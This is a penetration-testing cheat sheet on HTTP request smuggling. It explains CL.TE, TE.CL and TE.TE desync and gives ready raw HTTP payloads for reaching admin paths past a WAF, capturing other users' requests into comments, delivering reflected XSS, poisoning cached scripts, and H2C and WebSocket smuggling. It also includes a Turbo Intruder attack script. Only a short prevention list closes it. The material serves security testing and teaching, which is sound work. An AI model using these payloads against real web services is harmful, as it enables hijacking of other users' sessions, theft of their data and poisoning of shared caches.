HTTP Request Smuggling¶
Desync front-end/back-end parsing of Content-Length vs Transfer-Encoding headers to inject requests.
TL;DR¶
If timeout occurs, back-end uses Transfer-Encoding (vulnerable to CL.TE).
How It Works¶
- Front-end (proxy/CDN) and back-end disagree on request boundaries
- Attacker's "leftover" data becomes prefix of next user's request
- Enables request hijacking, security bypass, cache poisoning
Vulnerability Types¶
| Type | Front-End Uses | Back-End Uses |
|---|---|---|
| CL.TE | Content-Length | Transfer-Encoding |
| TE.CL | Transfer-Encoding | Content-Length |
| TE.TE | TE (normal) | TE (obfuscated) |
Detection¶
Burp Settings¶
Disable before testing: - Update Content-Length - Normalize HTTP/1 line endings
CL.TE Detection¶
Vulnerable if: Back-end times out (expecting more chunks).
TE.CL Detection¶
Vulnerable if: Back-end times out (expecting body per CL).
TE.TE Detection (Obfuscation)¶
Try until one server ignores TE:
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
[space]Transfer-Encoding: chunked
Exploitation¶
CL.TE Smuggling¶
POST / HTTP/1.1
Host: target.com
Content-Length: 30
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Foo: x
- Front-end sends all 30 bytes
- Back-end sees chunked end + smuggled GET
- Next user's request prefixed with
/admin
TE.CL Smuggling¶
POST / HTTP/1.1
Host: target.com
Content-Length: 4
Transfer-Encoding: chunked
7b
GET /admin HTTP/1.1
Host: target.com
Content-Length: 30
x=
0
Bypass Front-End Security¶
POST / HTTP/1.1
Content-Length: 67
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10
x=
Smuggled request reaches backend directly, bypassing WAF.
Steal Other Users' Requests¶
POST / HTTP/1.1
Content-Length: 319
Transfer-Encoding: chunked
0
POST /comment HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
comment=
Next user's request becomes comment value → visible to attacker.
Reflected XSS via Smuggling¶
POST / HTTP/1.1
Transfer-Encoding: chunked
Content-Length: 213
0
GET /page?id=2 HTTP/1.1
User-Agent: "><script>alert(1)</script>
Content-Length: 10
x=
Victim receives response with XSS in smuggled User-Agent.
Cache Poisoning via Smuggling¶
POST / HTTP/1.1
Content-Length: 130
Transfer-Encoding: chunked
0
GET /static/app.js HTTP/1.1
X-Evil-Header: <script>alert(1)</script>
Poisons /static/app.js for all users.
H2C Smuggling¶
HTTP/2 over cleartext upgrade can bypass proxy security:
GET / HTTP/1.1
Host: target.com
Upgrade: h2c
HTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA
Connection: Upgrade, HTTP2-Settings
Impact: Bypass path restrictions, WAF bypass.
WebSocket Smuggling¶
GET /ws HTTP/1.1
Host: target.com
Upgrade: websocket
Sec-WebSocket-Version: 1337 # Invalid
# Proxy thinks WS valid, backend rejects with 426
# TCP connection open for raw requests
Response Smuggling¶
HEAD Method Confusion¶
- HEAD response has
Content-Lengthbut no body - Next victim's response body interpreted incorrectly
Tools¶
| Tool | Purpose |
|---|---|
| HTTP Request Smuggler | Detection + exploitation |
| smuggler.py | Automated detection |
| h2csmuggler | H2C attacks |
Turbo Intruder CL.TE¶
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
pipeline=False)
attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Content-Length: 35
0
GET /admin HTTP/1.1
X: x'''
engine.queue(attack)
for i in range(14):
engine.queue('GET / HTTP/1.1\r\nHost: target.com\r\n\r\n')
time.sleep(0.05)
Prevention¶
- Use HTTP/2 end-to-end
- Normalize headers before forwarding
- Reject ambiguous requests (both CL and TE)
- Drop requests with TE obfuscation